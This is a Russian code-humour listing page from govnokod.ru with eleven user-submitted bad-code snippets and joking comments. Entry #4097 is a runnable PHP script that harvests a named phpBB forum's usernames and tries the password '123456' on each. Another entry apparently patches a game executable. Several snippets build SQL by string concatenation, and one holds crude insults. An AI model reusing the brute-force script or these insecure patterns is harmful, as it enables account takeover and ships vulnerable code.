Говнокод: по колено в коде.

• Все
• Лучший
• Сток
• Глупый поиск
• Наговнокодить!
• Oтзывы

Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!

1. PHP (5712)
2. C++ (2746)
3. Куча (2407)
4. JavaScript (2034)
5. C# (1930)
6. Java (1503)
7. Си (1121)
8. Pascal (648)
9. Python (592)
10. 1C (541)
11. SQL (433)
12. ActionScript (292)
13. Objective C (202)
14. bash (201)
15. Perl (194)
16. Assembler (148)
17. Ruby (145)
18. VisualBasic (138)
19. Lua (49)
20. Haskell (46)
21. Go (31)
22. Swift (27)
23. Kotlin (14)

1. Лучший говнокод

   В номинации:

   • Лучший рейтинг
   • Самый комментируемый

   За время:

   • за сегодня
   • за неделю
   • за месяц
   • за всё время

2. PHP / Говнокод #4176

   +158

   1. 01
   2. 02
   3. 03
   4. 04
   5. 05
   6. 06
   7. 07
   8. 08
   9. 09
   10. 10

   if ($_REQUEST['name']){
   	$nameProduct = $_REQUEST['name'];
   	$products = $db->products($_REQUEST['name']);
   } else {
   	$products = 'error';	
   }
   
   if ($products == 'error'){
   	$http->redirect('index.php');
   }

   Из частного проекта.
   Во-первых почему-бы не использовать $nameProduct второй раз вместо $_REQUEST['name']?
   Во-вторых вместо $products = 'error'; можно сразу было сделать редирект, т.к. все последующие использования $products не имеют смысла, если редирект выполнен.

   mikhailu, 06 Сентября 2010

   Комментарии (5)

3. JavaScript / Говнокод #4149

   +161

   1. 1
   2. 2
   3. 3
   4. 4
   5. 5
   6. 6
   7. 7

   function actionId(child) {
   	return child.action[{
   		'menu': 'ivrMenuId',
   		'queu': 'queueId',
   		'scenario': 'scenarioId'
   	}[child.action.type.toLowerCase()]];
   }

   Те,кто будет это поддерживать, недостойны моего сострадания!

   ixth, 01 Сентября 2010

   Комментарии (5)

4. PHP / Говнокод #4112

   +168

   1. 01
   2. 02
   3. 03
   4. 04
   5. 05
   6. 06
   7. 07
   8. 08
   9. 09
   10. 10
   11. 11
   12. 12
   13. 13
   14. 14
   15. 15
   16. 16
   17. 17
   18. 18
   19. 19
   20. 20
   21. 21
   22. 22
   23. 23
   24. 24
   25. 25
   26. 26
   27. 27
   28. 28
   29. 29
   30. 30
   31. 31
   32. 32
   33. 33
   34. 34
   35. 35
   36. 36
   37. 37
   38. 38
   39. 39
   40. 40
   41. 41
   42. 42
   43. 43
   44. 44
   45. 45
   46. 46
   47. 47
   48. 48

   ###########################################################################################################
   # Проверка переменных
   ###########################################################################################################
   function check($str) {
       $str = htmlentities(trim($str), ENT_QUOTES, 'UTF-8');
       $str = nl2br($str);
       $str = strtr($str, array (
           chr(0)=> '',
           chr(1)=> '',
           chr(2)=> '',
           chr(3)=> '',
           chr(4)=> '',
           chr(5)=> '',
           chr(6)=> '',
           chr(7)=> '',
           chr(8)=> '',
           chr(9)=> '',
           chr(10)=> '',
           chr(11)=> '',
           chr(12)=> '',
           chr(13)=> '',
           chr(14)=> '',
           chr(15)=> '',
           chr(16)=> '',
           chr(17)=> '',
           chr(18)=> '',
           chr(19)=> '',
           chr(20)=> '',
           chr(21)=> '',
           chr(22)=> '',
           chr(23)=> '',
           chr(24)=> '',
           chr(25)=> '',
           chr(26)=> '',
           chr(27)=> '',
           chr(28)=> '',
           chr(29)=> '',
           chr(30)=> '',
           chr(31)=> ''
       ));
       $str = str_replace("\'", "'", $str);
       $str = str_replace('\\', "\", $str);
       $str = str_replace("|", "I", $str);
       $str = str_replace("||", "I", $str);
       $str = str_replace("/\\\$/", "$", $str);
       $str = mysql_real_escape_string($str);
       return $str;
   }

   Лепота)

   MoLe-X, 27 Августа 2010

   Комментарии (5)

5. Perl / Говнокод #4108

   −117

   1. 01
   2. 02
   3. 03
   4. 04
   5. 05
   6. 06
   7. 07
   8. 08
   9. 09
   10. 10
   11. 11
   12. 12
   13. 13
   14. 14
   15. 15
   16. 16
   17. 17
   18. 18
   19. 19

   my $arr=[];
   my $res=$dbr->selectrow_arrayref("SELECT DISTINCT obj.value
   FROM obj
   INNER JOIN ...
   INNER JOIN ...
   INNER JOIN ...
   INNER JOIN ...
   INNER JOIN ...
   WHERE ..... 
   сложный, но не интересный SQL-запрос к наскольким таблицам под лям записей в каждом
   ...");
   arm_ls.lsid IN ($ls_str)
   
   foreach $row (@$res)
   {
   push(@$arr,$row->[0]) if (!grep(/^$row->[0]$/,@$arr));
   }
   my $sum=@$arr;
   return $sum;

   Нашел тут в одном проекте. Теперь хочу поделиться с вами великолепным способом получения числа уникальных значений из таблицы.
   В этот способ научит вас использовать всю мощь перла.

   Mihard, 26 Августа 2010

   Комментарии (5)

6. PHP / Говнокод #4097

   +159

   1. 01
   2. 02
   3. 03
   4. 04
   5. 05
   6. 06
   7. 07
   8. 08
   9. 09
   10. 10
   11. 11
   12. 12
   13. 13
   14. 14
   15. 15
   16. 16
   17. 17
   18. 18
   19. 19
   20. 20
   21. 21
   22. 22
   23. 23
   24. 24
   25. 25
   26. 26
   27. 27
   28. 28
   29. 29
   30. 30
   31. 31
   32. 32
   33. 33
   34. 34
   35. 35
   36. 36
   37. 37
   38. 38
   39. 39
   40. 40
   41. 41
   42. 42
   43. 43
   44. 44
   45. 45
   46. 46
   47. 47
   48. 48
   49. 49
   50. 50
   51. 51
   52. 52
   53. 53
   54. 54
   55. 55
   56. 56
   57. 57
   58. 58
   59. 59
   60. 60
   61. 61
   62. 62
   63. 63
   64. 64
   65. 65
   66. 66
   67. 67
   68. 68
   69. 69
   70. 70
   71. 71
   72. 72

   define(hostname, 'http://phpbbforum.ru');
   $file = './txt/users_phpbb.txt';
   function get_users($data)
   {
   preg_match_all('!">(.*?)</a></b>!', $data, $users);
   return $users[1];
   }
   
   function get_num_users($data)
   {
   preg_match_all('!">(.*?)</a></b>!', $data, $users);
   return count($users[1]);
   }
   
   function get_num_pages($data)
   {
   preg_match('!">(\d{1,8})</a><form action!', $data, $num_pages);
   return $num_pages[1];
   }
   
   function curl_header($url)
   {
   $ch = curl_init ($url);
   curl_setopt($ch, CURLOPT_USERAGENT, useragent);
   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
   curl_setopt($ch, CURLOPT_HEADER, 1);
   $data = curl_exec($ch);
   curl_close($ch);
   return $data;
   }
   
   function brut($url)
   {
   $data = curl_header($url);
   $count = substr_count($data, 'Cookie');
   if($count == 2)
   return false;
   else
   return true;
   }
   function get_pages($num)
   {
   global $users_per_page;
   for($i = 0; $i<$num; $i++)
   $data .= req(hostname . '/memberlist.php?mode=posts&order=DESC&start=' . $users_per_page * $i);
   return $data;
   }
   if(!file_exists($file))
   {
   $data = req(hostname.'/memberlist.php');
   $users_per_page = get_num_users($data);
   $num_pages = get_num_pages($data);
   $pages = get_pages($num_pages);
   $users = get_users($pages);
   $fp = fopen($file, 'w');
   $users = implode("\n", $users);
   fputs($fp, $users);
   fclose($fp);
   }
   $users = file_get_contents($file);
   $users = explode("\n", $users);
   $count = count($users);
   $pass = '123456';
   for($i = 0; $i<$count; $i++)
   {
   if( brut(hostname.'/login.php?username='.urlencode($users[$i])."&password=$pass") )
   $good[] = $users[$i];
   }
   $fp = fopen("./txt/$pass.txt", 'a+');
   fputs($fp, implode("\n", $good));
   fclose($fp);
   print_r($good);

   Coder, 25 Августа 2010

   Комментарии (5)

7. VisualBasic / Говнокод #4068

   −100

   1. 01
   2. 02
   3. 03
   4. 04
   5. 05
   6. 06
   7. 07
   8. 08
   9. 09
   10. 10
   11. 11
   12. 12
   13. 13
   14. 14
   15. 15
   16. 16
   17. 17

   Case vIP(1)
            Case "1"  v_empirumserver="evempr"
   ....
     ещё где-то 100 таких-же строчек
   ....
            Case "160"    v_empirumserver = "svcf1501"
            Case "161"
               Select Case vIP(2)
               	Case "17"
   		End Select
   		    v_empirumserver = "svnrw040"          
            Case "163"
   		    v_empirumserver = "svrg5008" 
   ....
     ещё где-то 100 таких-же строчек
   ....
     End Select

   Только что увидел.....
   Это кусок с скрипта входу в систему на корпоративном домене.
   убило

   Select Case vIP(2)

   зачем оно здесь????

   adli__82, 23 Августа 2010

   Комментарии (5)

8. PHP / Говнокод #4067

   +145

   1. 1
   2. 2
   3. 3
   4. 4
   5. 5
   6. 6
   7. 7
   8. 8
   9. 9

   <?php
   
   $x = true;
   
   if($x == 1) print "Говнокод - гамносайт";
   elseif($x == 2) print "Все завсегдатые данного сайта - пидоры, причем тупые";
   elseif($x == 3) print "Спасибо за внимание";
   
   ?>

   Сосем мой йух :)

   sergylens, 23 Августа 2010

   Комментарии (5)

9. PHP / Говнокод #4057

   +165

   1. 01
   2. 02
   3. 03
   4. 04
   5. 05
   6. 06
   7. 07
   8. 08
   9. 09
   10. 10
   11. 11
   12. 12
   13. 13
   14. 14
   15. 15

   $adm="
   
              	   <img src='img/up.gif' onclick='priorThread($child[id],$level, 1);' style='cursor:pointer;' title='переместить вверх'>
   
              	   <img src='img/down.gif' onclick='priorThread($child[id],$level, -1);' style='cursor:pointer;' title='переместить вниз'>
   
              	   &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
   
              	   <img src='img/add.gif' title='Добавить подрубрику' style='cursor:pointer;' onclick='addThread($child[id],$level);'>
   
   	   		   <img src='img/edit.gif'title='Редактировать'  style='cursor:pointer;' onclick='editThread($child[id],\"$child[name]\",$level);'>
   
              	   <img src='img/del.gif' title='Удалить' style='cursor:pointer;' onclick='delThread($child[parent_id],$child[id],$level);'>"; 
   
              $adm="";

   Гениально:)

   moonie, 21 Августа 2010

   Комментарии (5)

10. PHP / Говнокод #4049

    +163

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86

    Function GetChildTree($STARTID)
    	{		
    		global $TPL_START_NOT_EMPTY;
    		$LEVEL_1_CHILD_ARRAY=nlst("Select ID, name from thread where parentID='".$STARTID."' and visibility='1' order by priority desc");
    
    		if ($LEVEL_1_CHILD_ARRAY)     // если массив не пустой
    			{
    				$i1=0;
    				$i2=0;
    				$i3=0;
    				$i4=0;
    				$i5=0;
    				$LEVEL_1_CHILD_HTML="";
    				$LEVEL_2_CHILD_HTML="";
    				$LEVEL_3_CHILD_HTML="";
    				$LEVEL_4_CHILD_HTML="";
    				$LEVEL_5_CHILD_HTML="";
    				while ($i1<count($LEVEL_1_CHILD_ARRAY))
    				{
    						$LEVEL_2_CHILD_ARRAY=nlst("Select ID, name from thread where parentID='".$LEVEL_1_CHILD_ARRAY[$i1]['ID']."' and visibility='1' order by priority desc");
    							if ($LEVEL_2_CHILD_ARRAY)
    								{
    									while ($i2<count($LEVEL_2_CHILD_ARRAY))
    										{
    												$LEVEL_3_CHILD_ARRAY=nlst("Select ID, name from thread where parentID='".$LEVEL_2_CHILD_ARRAY[$i2]['ID']."' and visibility='1' order by priority desc");
    													if ($LEVEL_3_CHILD_ARRAY)
    														{
    																while ($i3<count($LEVEL_3_CHILD_ARRAY))
    																	{
    																			$LEVEL_4_CHILD_ARRAY=nlst("Select ID, name from thread where parentID='".$LEVEL_3_CHILD_ARRAY[$i3]['ID']."' and visibility='1' order by priority desc");
    																				if ($LEVEL_4_CHILD_ARRAY)
    																					{
    																							while ($i4<count($LEVEL_4_CHILD_ARRAY))
    																									{
    																											$LEVEL_5_CHILD_ARRAY=nlst("Select ID, name from thread where parentID='".$LEVEL_4_CHILD_ARRAY[$i4]['ID']."' and visibility='1' order by priority desc");
    																												if ($LEVEL_5_CHILD_ARRAY)
    																													{
    																															while ($i5<count($LEVEL_5_CHILD_ARRAY))
    																																{
    																																																															
    																																		$ParseArray5[0]=$LEVEL_5_CHILD_ARRAY[$i5]['ID'];
    																																		$ParseArray5[1]=$LEVEL_5_CHILD_ARRAY[$i5]['name'];
    																																		$ParseArray5[2]="";
    																																	$LEVEL_5_CHILD_HTML.=ParseTPL($TPL_START_NOT_EMPTY, $ParseArray5);
    																																	$i5++;
    																																}
    																													}
    																											
    																											$ParseArray4[0]=$LEVEL_4_CHILD_ARRAY[$i4]['ID'];
    																											$ParseArray4[1]=$LEVEL_4_CHILD_ARRAY[$i4]['name'];
    																											$ParseArray4[2]=$LEVEL_5_CHILD_HTML;
    																										$LEVEL_4_CHILD_HTML.=ParseTPL($TPL_START_NOT_EMPTY, $ParseArray4);
    																										$LEVEL_5_CHILD_HTML="";
    																										$i4++;
    																									}
    																					}
    																			
    																			$ParseArray3[0]=$LEVEL_3_CHILD_ARRAY[$i3]['ID'];
    																			$ParseArray3[1]=$LEVEL_3_CHILD_ARRAY[$i3]['name'];
    																			$ParseArray3[2]=$LEVEL_4_CHILD_HTML;
    																		$LEVEL_3_CHILD_HTML.=ParseTPL($TPL_START_NOT_EMPTY, $ParseArray3);
    																		$LEVEL_4_CHILD_HTML="";
    																		$i3++;
    																	}
    														}
    												
    												$ParseArray2[0]=$LEVEL_2_CHILD_ARRAY[$i2]['ID'];
    												$ParseArray2[1]=$LEVEL_2_CHILD_ARRAY[$i2]['name'];
    												$ParseArray2[2]=$LEVEL_3_CHILD_HTML;
    											$LEVEL_2_CHILD_HTML.=ParseTPL($TPL_START_NOT_EMPTY, $ParseArray2);
    											$LEVEL_3_CHILD_HTML="";
    											$i2++;
    										}
    								}
    						
    						$ParseArray1[0]=$LEVEL_1_CHILD_ARRAY[$i1]['ID'];
    						$ParseArray1[1]=$LEVEL_1_CHILD_ARRAY[$i1]['name'];
    						$ParseArray1[2]=$LEVEL_2_CHILD_HTML;
    					$LEVEL_1_CHILD_HTML.=ParseTPL($TPL_START_NOT_EMPTY, $ParseArray1);
    					$LEVEL_2_CHILD_HTML="";
    					$i1++;
    				}
    			}
    			
    	echo $LEVEL_1_CHILD_HTML;
    	}

    Работа с базами данными сильная сторона автора:)

    moonie, 21 Августа 2010

    Комментарии (5)

11. Assembler / Говнокод #4024

    +221

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37

    invoke	CreateFileA,401190h,0C0000000h,3,0,3,80h,0
    	CMP EAX,-1
    	je access
    	mov DWORD PTR SS:EBP-4,eax
    	invoke GetFileSize,DWORD PTR SS:EBP-4,0
    	OR EAX,EAX
    	je file_size
    	MOV DWORD PTR ds:401270h,EAX
    	invoke	GlobalAlloc,40h,eax
    	OR EAX,EAX
    	je error_mem
    	mov DWORD PTR SS:401300h,eax
    	push 0
    	push 401060h
    	push DWORD PTR ss:401270h
    	PUSH DWORD PTR SS:401300h
    	PUSH DWORD PTR SS:EBP-4
    	invoke ReadFile
    	OR EAX,EAX
    	je error_read
    	jmp crypt
    .............
    	 invoke EnableWindow,[hwnd],0
    	 cmp DWORD PTR DS:dddd,4Ch
    	 je  get_open
    	 mov	DWORD PTR DS:dddd,4Ch
    	 MOV	DWORD PTR DS:dddd+12,gameexe
    	 MOV	DWORD PTR DS:dddd+44,g2e
    	 MOV	DWORD PTR DS:dddd+52, OFN_FILEMUSTEXIST + OFN_PATHMUSTEXIST + OFN_LONGNAMES + OFN_EXPLORER + \
    						OFN_HIDEREADONLY
    	 MOV	DWORD PTR DS:dddd+28,dddd+100
    	 MOV	DWORD PTR DS:dddd+32,104h
    	 MOV	DWORD PTR DS:dddd+48,alawar
           get_open:
    	 PUSH	dddd
    .............
    dddd:

    нашёл сорц вот такой на фасме О_о

    Xekep, 18 Августа 2010

    Комментарии (5)

• ← влево
• вправо →

• 1978
• …
• 463
• 462
• 461
• 460
• 459
• 458
• 457
• 456
• 455
• …
• 1